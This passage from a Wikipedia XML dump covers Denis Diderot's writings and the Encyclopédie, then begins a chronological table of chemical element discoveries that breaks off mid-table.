Diderot's next piece was what first introduced him to the world as an original thinker, his famous ''Lettre sur les aveugles'' (1749). The immediate object of this short work was to show the dependence of men's ideas on their [[five senses]]. It considers the case of the [[intellect]] deprived of the aid of one of the senses; and in a second piece, published afterwards, Diderot considered the case of a similar deprivation in the [[deaf]] and [[speech disorder|mute]]. The ''Lettre sur les sourds et muets'', however, is substantially a digressive examination of some points in [[aesthetics]]. The philosophic significance of the two essays is in the advance they make towards the principle of [[Relativism]]. But what interested the militant philosophers of that day was an episodic application of the principle of relativism to the concept of [[God]]. What makes the ''Lettre sur les aveugles'' interesting is its presentation, in a distinct though undigested form, of the theory of [[variation]] and [[natural selection]]. It is worth noticing, too, as an illustration of the comprehensive freedom with which Diderot felt his way round any subject that he approached, that in this theoretic essay he suggests the possibility of teaching the blind to read through the sense of touch.

His speculation in the ''Lettre sur les aveugles'' was too hardy for the authorities, and he was thrown into the prison of [[Vincennes]]. Here he remained for three months; then he was released, to enter upon the gigantic undertaking of his life.

==Encyclopédie==
[[Image:ENC 1-NA5 600px.jpeg|right|200px|Cover of the Encyclopédie]]

''Main article: [[Encyclopédie]]''

The bookseller and printer [[André Le Breton]] had applied to Diderot with a project for the publication of a translation into French of [[Ephraim Chambers]]'s ''[[Cyclopaedia, or Universal Dictionary of Arts and Sciences]]'', undertaken in the first instance by the Englishman [[John Mills (encyclopedist)|John Mills]], and the German, [[Gottfried Sellius]]. Diderot accepted the proposal, but in his busy and pregnant intelligence the scheme became transformed. Instead of a mere reproduction of the ''Cyclopaedia'', he persuaded Le Breton to enter upon a new work, which should collect under one roof all the active writers, all the new ideas, all the new knowledge, that were then moving the cultivated class of the [[Republic of Letters]] to its depths, but still were comparatively ineffectual by reason of their dispersion.

His enthusiasm infected the publishers; they collected a sufficient capital for a vaster enterprise than they had at first planned; [[Jean le Rond d'Alembert]] was persuaded to become Diderot's colleague; the requisite permission was procured from the government; in 1750 an elaborate prospectus announced the project to a delighted public; and in 1751 the first volume was given to the world. The last of the letterpress was issued in 1765, but it was 1772 before the subscribers received the final volumes of the ''Encyclopédie, ou dictionnaire raisonné des sciences, des arts et des métiers''.

These twenty years were to Diderot years not merely of incessant drudgery, but of harassing persecution, and of injury from the desertion of friends. The [[ecclesiastical]] party detested the ''Encyclopédie'', in which they saw a rising stronghold for their philosophic enemies. By 1757 they could endure the sight no longer. The subscribers had grown from 2,000 to 4,000, and this was a right measure of the growth of the work in popular influence and power. The ''Encyclopédie'' was threatening to the governing [[social class]]es of France ([[aristocracy]]) because it takes for granted the justice of [[religious tolerance]], [[freedom of thought]] and the value of [[science]] and industry. It asserts the [[democratic]] doctrine that it is the common people in a nation whose lot ought to be the main concern of the nation's government. 

There was a contemporary belief that the ''Encyclopédie'' was the work of an organized band of conspirators against society, and that the dangerous ideas they held were now made truly formidable by their open publication. In 1759 the ''Encyclopédie'' was formally suppressed. The decree, however, did not arrest the continuance of the work, which went on, but with its difficulties increased by the necessity of being clandestine.

D'Alembert withdrew from the enterprise and other powerful colleagues, [[Anne Robert Jacques Turgot, Baron de Laune]], among them, declined to contribute further to a book which had acquired an evil fame. Diderot was left to bring the task to an end as he best could. He wrote several hundred articles, some of them very slight, but many of them most laborious, comprehensive and ample. He wore out his eyesight in correcting [[proof]]s, and in bringing the [[manuscript]] of less competent contributors into decent shape. He spent his days in the workshops, mastering the processes of manufacturing, and his nights in reproducing on paper what he had learnt during the day. And he was incessantly harassed all the time by alarms of a descent from the [[police]]. 

At the last moment, when his immense work was just drawing to an end, he encountered one last and crowning mortification: he discovered that the bookseller, fearing the displeasure of the government, had struck out from the proof sheets, after they had left Diderot's hands, all passages that he chose to think too dangerous. The monument to which Diderot had given the labour of twenty long and oppressive years was irreparably mutilated and defaced.

==Other works==
[[Image:Greuze, Portrait of Diderot.jpg|thumb|200px|Portrait by [[Jean-Baptiste Greuze]], 1766]]

Although the ''Encyclopédie'' was Diderot's monumental work, he was the author of many pieces that sowed nearly every field of intellectual interest with new and fruitful ideas. He wrote sentimental [[play]]s, ''Le Fils naturel'' (1757) and ''Le Père de famille'' (1758), accompanying them with essays on [[dramatic poetry]], including especially the ''Paradoxe sur le comédien'', in which he announced the principles of a new [[drama]], the serious, domestic, bourgeois drama of real life, in opposition to the stilted conventions of the classic French stage.

His [[art criticism]] was also highly influential. His ''Essai sur la peinture'' was described by [[Johann Wolfgang von Goethe]], who thought it worth translating, as &quot;a magnificent work, which speaks even more helpfully to the poet than to the painter, though to the painter too it is as a blazing torch.&quot;

Diderot's most intimate friend was the [[philologist]] [[Friedrich Melchior Grimm]]. Grimm wrote newsletters to various high personages in Germany, reporting what was going on in the world of art and literature in Paris, then the intellectual capital of Europe. Diderot helped Grimm between 1759 and 1779, by writing for him an account of the annual exhibitions of paintings in the [[Paris Salon]]. These reports are highly readable pieces of art criticism. According to [[Charles Augustin Sainte-Beuve]], they initiated the French into a new sentiment, and introduced people to the mystery and purport of colour by ideas. &quot;Before Diderot,&quot; [[Anne Louise Germaine de Staël]] wrote, &quot;I had never seen anything in pictures except dull and lifeless colours; it was his imagination that gave them relief and life, and it is almost a new sense for which I am indebted to his genius.&quot;

[[Jean-Baptiste Greuze]] was Diderot's favourite among contemporary artists. Greuze's most characteristic pictures were the rendering in colour of the same sentiment of domestic virtue and the pathos of common life, which Diderot had attempted to represent upon the stage. For Diderot was above all things interested in the life of men, not the abstract life of the race, but the incidents of individual character, the fortunes of a particular family, the relations of real and concrete motives in this or that special case. He delighted with the enthusiasm of a born [[casuist]] in curious puzzles of right and wrong, and in devising a conflict between the generalities of ethics and the conditions of an ingeniously contrived practical dilemma. Diderot's interest expressed itself in didactic and sympathetic form.

In two, however, of the most remarkable of all his pieces, this interest is not sympathetic, but ironical. ''Jacques le fataliste'' (written in. 1773, but not published until 1796) is in manner an imitation of ''[[The Life and Opinions of Tristram Shandy, Gentleman|Tristram Shandy]]'' and ''The Sentimental Journey''. His dialogue ''Le Neveu de Rameau'' (Rameau's Nephew) is a &quot;farce-tragedy&quot; reminiscent of the ''Satires'' of [[Horace]]. A favorite classical author of Diderot's, Horace's words &quot;Vertumnis quotquot sunt natis iniquis&quot; are quoted at the top of the &quot;Nephew&quot;. Diderot's intention in writing the dialogue has been matter of dispute; whether it was designed to be merely a [[satire]] on contemporary manners, or a reduction of the theory of self-interest to an absurdity, or the application of irony to the ethics of ordinary convention, or a mere setting for a discussion about music, or a vigorous dramatic sketch of a parasite and a human original. Whatever its intent, is a remarkable conversation, emblematic of an era of that held the arts of conversation in the highest esteem. The writing and publication history of the &quot;Nephew&quot; is likewise a bit mysterious. Diderot never saw the work through to publication during his lifetime, but there is every indication it was of continual interest to him. Though the original draft was written in 1761, he made additions to it year after year until his death twenty-three years later. Goethe's translation (1805) was the first introduction of ''Le Neveu de Rameau'' to the European public. After executing it, he gave back the original French manuscript to [[Friedrich Schiller]], from whom he had it. No authentic French copy of it appeared until the writer had been dead forty years (1823). 

Diderot's miscellaneous pieces range from a graceful trifle like the ''Règrets sur ma vieille robe de chambre'' up to ''Le rêve de D'Alembert'', where he plunges into the depths of the controversy as to the ultimate constitution of matter and the meaning of life. Diderot was not a coherent and systematic thinker, but rather &quot;a philosopher in whom all the contradictions of the time struggle with one another&quot; ([[Rosenkranz]]). He did not develop a system of [[materialism]], but he contributed many of the most declamatory pages of the ''Système de la nature'' of his friend Paul Henri Thiry, [[baron d'Holbach]], styled by some &quot;the very Bible of atheism&quot;. 

Varied and incessant as was Diderot's mental activity, it was not of a kind to bring him riches. He secured none of the posts that were occasionally given to needy men of letters; he could not even obtain that bare official recognition of merit which was implied by being chosen a member of the [[Académie française]]. When the time came for him to provide a [[dowry]] for his daughter, he saw no other alternative than to sell his library. When the [[Catherine II of Russia]] heard of his straits, she commissioned an agent in Paris to buy the library, and then requested the philosopher to retain the books in Paris until she required them, and to constitute himself her librarian, with a yearly salary. In 1773 and 1774 Diderot spent some months at the empress's court at [[St Petersburg]].

He died of [[emphysema]] and [[dropsy]] in [[Paris]] on [[July 31]], [[1784]], and was buried in the city's [[Eglise Saint-Roch]]. His heirs sold his vast library to Catherine II, who had it deposited at the [[Russian National Library]].

==Bibliography==
* ''Essai sur le mérite et la vertu'', written by [[Anthony_Ashley-Cooper%2C_3rd_Earl_of_Shaftesbury|Shaftesbury]] French translation and annotation by Diderot ([[1745]])
* ''[[Pensées philosophiques]]'', essay ([[1746]])
* ''La promenade du sceptique'' ([[1747]])
* ''[[Les bijoux indiscrets]]'', novel ([[1748]])
* ''[[Lettre sur les aveugles à l'usage de ceux qui voient]]'' ([[1749]])
* L'''[[Encyclopédie]],'' ([[1750]]-[[1765]])
* ''Lettre sur les sourds et muets'' ([[1751]])
* ''[[Pensées sur l'interprétation de la nature]]'', essai ([[1751]])
* ''Le fils naturel'' ([[1757]])
* ''Entretien sur le fils naturel'' ([[1757]])
* ''Salons'', critique d'art ([[1759]]-[[1781]])
* ''[[La Religieuse]]'', roman ([[1760]])
* ''[[Le neveu de Rameau]]'', dialogue ([[1761]] ?)
* ''Lettre sur le commerce des livres ([[1763]])
* ''Mystification ou l’histoire des portraits'' ([[1768]])
* ''Entretien entre D'Alembert et Diderot'' ([[1769]])
* ''[[Le rêve de D'Alembert]]'', dialogue ([[1769]])
* ''Suite de l'entretien entre D'Alembert et Diderot'' ([[1769]])
* ''[[Paradoxe sur le comédien]]'' ([[1769]] ?)
* ''Apologie de l'abbé Galiani'' ([[1770]])
* ''Principes philosophiques sur la matière et le mouvement'', essai ([[1770]])
* ''Entretien d'un père avec ses enfants'' ([[1771]])
* ''[[Jacques le fataliste et son maître]]'', novel ([[1771]]-[[1778]])
* ''[[Supplément au voyage de Bougainville]]'' ([[1772]])
* ''Histoire philosophique et politique des deux Indes'', in collaboration with [[Raynal]] ([[1772]]-[[1781]])
* ''Voyage en Hollande'' ([[1773]])
* ''Eléments de physiologie'' ([[1773]]-[[1774]])
* ''Réfutation d'Helvétius'' ([[1774]])
* ''Observations sur le Nakaz'' ([[1774]])
* ''Essai sur les règnes de Claude et de Néron'' ([[1778]])
* ''Lettre apologétique de l'abbé Raynal à Monsieur Grimm'' ([[1781]])
* ''Aux insurgents d'Amérique'' ([[1782]])
* ''Salons''

==References==
*{{1911}}

==See also==
*[[Encyclopedia]]
*[[Encyclopedist]]
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Atheism]]
*[[University of Paris VII: Denis Diderot]]

== External links ==
{{wikiquote}}
* {{gutenberg author| id=Denis+Diderot | name=Denis Diderot}}
*[http://gallica.bnf.fr/scripts/catalog.php?Mod=i&amp;Titre=&amp;FondsTout=on&amp;FondsTxt=on&amp;FondsImp=on&amp;FondsPer=on&amp;FondsImg=on&amp;FondsAud=on&amp;FondsMan=on&amp;Auteur=diderot&amp;Sujet=&amp;RPT= Diderot's listing at the Bibliotheque Nationale de France (in French)]
* [http://www.gutenberg.org/files/15098/15098-h/15098-h.htm The Project Gutenberg eBook of Diderot] by [[John Morley]]
* [http://dromo.info/diderotbio.htm Short biography]

[[Category:1713 births|Diderot, Denis]]
[[Category:1784 deaths|Diderot, Denis]]
[[Category:18th century philosophers|Diderot, Denis]]
[[Category:Atheists|Diderot, Denis]]
[[Category:Atheist philosophers|Diderot, Denis]]
[[Category:Encyclopedists|Diderot, Denis]]
[[Category:Enlightenment philosophers|Diderot, Denis]]
[[Category:French philosophers|Diderot, Denis]]
[[Category:French literary critics|Diderot, Denis]]
[[Category:French essayists|Diderot, Denis]]
[[category:French art critics|Diderot, Denis]]
[[Category:Former Students of Lycée Louis-le-Grand|Diderot, Denis]]
[[Category:Philosophers|Diderot, Denis]]

{{Link FA|eo}}

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[[zh:德尼·狄德罗]]</text>
    </revision>
  </page>
  <page>
    <title>Discoveries of the chemical elements</title>
    <id>8200</id>
    <revision>
      <id>39272654</id>
      <timestamp>2006-02-12T00:35:11Z</timestamp>
      <contributor>
        <username>Pilotguy</username>
        <id>729553</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.142.128.9|202.142.128.9]] to last version by Fastfission</comment>
      <text xml:space="preserve">{{merge|Timeline of chemical element discovery}}

__NOTOC__ &lt;!--move it way up--&gt;

The story of the '''discoveries of the [[chemical element]]s''' is presented here in chronological order. The elements are listed generally in the order in which they were first isolated as the pure element, rather than as a compound (some such as boron were known to be elements decades before they could be isolated from their compounds). The first few predate any written record.

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Carbon]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Gold]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Silver]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;[[Copper]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Sulfur]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Tin]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Lead]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Mercury (element)|Mercury]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Iron]]&lt;/td&gt;
&lt;td&gt;antiquity&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;

Although Aluminium ''may'' have been isolated in Roman times (see [[Aluminium#History|History of Aluminium]]), its isolation is usually credited to Hans Christian Ørsted in 1825, and is listed under that date.

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;

&lt;tr&gt;
&lt;td&gt;[[Arsenic]]&lt;/td&gt;
&lt;td&gt;[[1250]]&lt;/td&gt;
&lt;td&gt;[[Albertus Magnus]] is believed to have been the first to isolate the
element. &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Antimony]]&lt;/td&gt;
&lt;td&gt;[[1450]]&lt;/td&gt;
&lt;td&gt;First described scientifically by [[Tholden]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Bismuth]]&lt;/td&gt;
&lt;td&gt;[[15th century]]?&lt;/td&gt;
&lt;td&gt;May have been described in writings attributed to
[[Basil Valentinus]], definitively identified by [[Claude Geoffroy|Claude Geoffroy le Jeune]] (Claude Geoffroy the younger) in 1753&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Zinc]]&lt;/td&gt;
&lt;td&gt;[[1526]]&lt;/td&gt;
&lt;td&gt;Identified as a unique metal by [[Paracelsus]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Phosphorus]]&lt;/td&gt;
&lt;td&gt;[[1669]]&lt;/td&gt;
&lt;td&gt;[[Hening Brand]], later described by [[Robert Boyle]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Cobalt]]&lt;/td&gt;
&lt;td&gt;[[1732]]&lt;/td&gt;
&lt;td&gt;[[Georg Brandt]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Platinum had been noticed in South American gold ore since the [[16th century]].  A number of chemists worked on platinum in the [[18th century]]: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Platinum]]&lt;/td&gt;
&lt;td&gt;ca. [[1741]]&lt;/td&gt;
&lt;td&gt;Discovered independently by [[Antonio de Ulloa]] (published 1748) and [[Charles Wood (scientist)|Charles Wood]].&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Nickel]]&lt;/td&gt;
&lt;td&gt;[[1751]]&lt;/td&gt;
&lt;td&gt;[[Axel Fredrik Cronstedt]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Magnesium]]&lt;/td&gt;
&lt;td&gt;[[1755]]&lt;/td&gt;
&lt;td&gt;[[Joseph Black]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Hydrogen]]&lt;/td&gt;
&lt;td&gt;[[1766]]&lt;/td&gt;
&lt;td&gt;Isolated and described by [[Henry Cavendish]], named by [[Antoine Lavoisier]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

[[Joseph Priestley|Priestley]]'s work on atmospheric gases resulted
in his preparation of oxygen. As he was a believer in [[phlogiston theory|phlogiston]], he didn't realise that he had prepared a new
element, and thought that he had managed to prepare air free from
phlogiston (&quot;de-phlogisticated air&quot;). However, he ''was'' the
first to isolate oxygen, even if he didn't realise what he had: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Oxygen]]&lt;/td&gt;
&lt;td&gt;[[1771]]&lt;/td&gt;
&lt;td&gt;[[Joseph Priestley]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Nitrogen]]&lt;/td&gt;
&lt;td&gt;[[1772]]&lt;/td&gt;
&lt;td&gt; [[Daniel Rutherford]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Chlorine]]&lt;/td&gt;
&lt;td&gt;[[1774]]&lt;/td&gt;
&lt;td&gt;[[Carl Wilhelm Scheele]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Manganese]]&lt;/td&gt;
&lt;td&gt;[[1774]]&lt;/td&gt;
&lt;td&gt;[[Johan Gottlieb Gahn]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Molybdenum]]&lt;/td&gt;
&lt;td&gt;[[1778]]&lt;/td&gt;
&lt;td&gt;[[Carl Wilhelm Scheele]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Tellurium]]&lt;/td&gt;
&lt;td&gt;[[1782]]&lt;/td&gt;
&lt;td&gt;[[Franz-Joseph Müller von Reichenstein]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Tungsten]]&lt;/td&gt;
&lt;td&gt;[[1783]]&lt;/td&gt;
&lt;td&gt;[[Juan José Elhuyar]] and [[Fausto Elhuyar]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

The recent discovery of the new planet [[Uranus (planet)|Uranus]] by [[William Herschel]] had caused a stir, so the newly discovered metallic
element was christened uranium in its honour. 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Uranium]]&lt;/td&gt;
&lt;td&gt;[[1789]]&lt;/td&gt;
&lt;td&gt;[[Martin Heinrich Klaproth]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Zirconium]]&lt;/td&gt;
&lt;td&gt;[[1789]]&lt;/td&gt;
&lt;td&gt;[[Martin Heinrich Klaproth]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Strontium]]&lt;/td&gt;
&lt;td&gt;[[1793]]&lt;/td&gt;
&lt;td&gt;[[Martin Heinrich Klaproth]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Yttrium]]&lt;/td&gt;
&lt;td&gt;[[1794]]&lt;/td&gt;
&lt;td&gt; [[Johan Gadolin]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Titanium]]&lt;/td&gt;
&lt;td&gt;[[1797]]&lt;/td&gt;
&lt;td&gt;[[Martin Heinrich Klaproth]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Chromium]]&lt;/td&gt;
&lt;td&gt;[[1797]]&lt;/td&gt;
&lt;td&gt;[[Louis Nicolas Vauquelin]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Beryllium]]&lt;/td&gt;
&lt;td&gt;[[1798]]&lt;/td&gt;
&lt;td&gt;[[Louis Nicolas Vauquelin]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Vanadium]]&lt;/td&gt;
&lt;td&gt;[[1801]]&lt;/td&gt;
&lt;td&gt;[[Andrés Manuel del Río]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Niobium]]&lt;/td&gt;
&lt;td&gt;[[1801]]&lt;/td&gt;
&lt;td&gt; [[Charles Hatchett]] discovered as [[Niobium|Columbium]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Tantalum]]&lt;/td&gt;
&lt;td&gt;[[1802]]&lt;/td&gt;
&lt;td&gt;[[Anders Gustaf Ekeberg]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

The next element was discovered just after the discovery of a new
class of astronomical objects: the new element was named after the
newly discovered [[asteroid]], [[1 Ceres|Ceres]]. The element was
discovered nearly simultaneously in two laboratories, though it was
later shown that Berzelius and Hisinger's cerium was actually a
mixture of cerium, lanthanum and didymium. 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Cerium]]&lt;/td&gt;
&lt;td&gt;[[1803]]&lt;/td&gt;
&lt;td&gt;[[Martin Heinrich Klaproth]]; [[Jöns Jakob Berzelius]] and [[Hisinger]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Rhodium]]&lt;/td&gt;
&lt;td&gt;[[1803]]&lt;/td&gt;
&lt;td&gt; [[William Hyde Wollaston]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Palladium]]&lt;/td&gt;
&lt;td&gt;[[1803]]&lt;/td&gt;
&lt;td&gt;[[William Hyde Wollaston]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Osmium]]&lt;/td&gt;
&lt;td&gt;[[1803]]&lt;/td&gt;
&lt;td&gt; [[Smithson Tennant]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Iridium]]&lt;/td&gt;
&lt;td&gt;[[1803]]&lt;/td&gt;
&lt;td&gt; [[Smithson Tennant]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

At this point, Sir [[Humphry Davy]] pioneered the use of [[electricity]]
from the [[Voltaic pile]] to decompose the salts of alkali metals,
and so a number of those metals were first prepared as the pure
element: the beginning of the field of [[electrochemistry]].

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Potassium]]&lt;/td&gt;
&lt;td&gt;[[1807]]&lt;/td&gt;
&lt;td&gt;[[Humphry Davy]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Sodium]]&lt;/td&gt;
&lt;td&gt;[[1807]]&lt;/td&gt;
&lt;td&gt;[[Humphry Davy]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Calcium]]&lt;/td&gt;
&lt;td&gt;[[1808]]&lt;/td&gt;
&lt;td&gt;[[Humphry Davy]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Barium]]&lt;/td&gt;
&lt;td&gt;[[1808]]&lt;/td&gt;
&lt;td&gt;[[Humphry Davy]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Boron]]&lt;/td&gt;
&lt;td&gt;[[1808]]&lt;/td&gt;
&lt;td&gt;[[Joseph Louis Gay-Lussac]] &amp;amp; [[Louis-Jacques Thenard]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Iodine]]&lt;/td&gt;
&lt;td&gt;[[1811]]&lt;/td&gt;
&lt;td&gt;[[Bernard Courtois]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Lithium]]&lt;/td&gt;
&lt;td&gt;[[1817]]&lt;/td&gt;
&lt;td&gt;[[Johan August Arfwedson]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Cadmium]]&lt;/td&gt;
&lt;td&gt;[[1817]]&lt;/td&gt;
&lt;td&gt;[[Friedrich Strohmeyer]] Independently discovered by [[Karl Samuel Leberecht Hermann|K.S.L Hermann]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Selenium]]&lt;/td&gt;
&lt;td&gt;[[1817]]&lt;/td&gt;
&lt;td&gt;[[Jöns Jakob Berzelius]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Silicon]]&lt;/td&gt;
&lt;td&gt;[[1823]]&lt;/td&gt;
&lt;td&gt;[[Jöns Jakob Berzelius]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Aluminium]]&lt;/td&gt;
&lt;td&gt;[[1825]]&lt;/td&gt;
&lt;td&gt;[[Hans Christian Ørsted]] (''may'' have been isolated in Roman times, see [[Aluminium#History]])&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Bromine]]&lt;/td&gt;
&lt;td&gt;[[1826]]&lt;/td&gt;
&lt;td&gt;[[Antoine Jérôme Balard]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Thorium]]&lt;/td&gt;
&lt;td&gt;[[1828]]&lt;/td&gt;
&lt;td&gt;[[Jöns Jakob Berzelius]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Beryllium]]&lt;/td&gt;
&lt;td&gt;[[1828]]&lt;/td&gt;
&lt;td&gt;[[Friedrich Woehler|Friedrich Wöhler]]. Independently discovered by [[A.A.B. Bussy]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

The next element was discovered when Mosander showed that the cerium isolated in [[1803]] by Berzelius was actually a mixture of cerium, lanthanum and so-called didymium (which was not actually one element, and was resolved into two in [[1885]]).

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Lanthanum]]&lt;/td&gt;
&lt;td&gt;[[1839]]-41&lt;/td&gt;
&lt;td&gt;[[Carl Gustaf Mosander]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Terbium]]&lt;/td&gt;
&lt;td&gt;[[1843]]&lt;/td&gt;
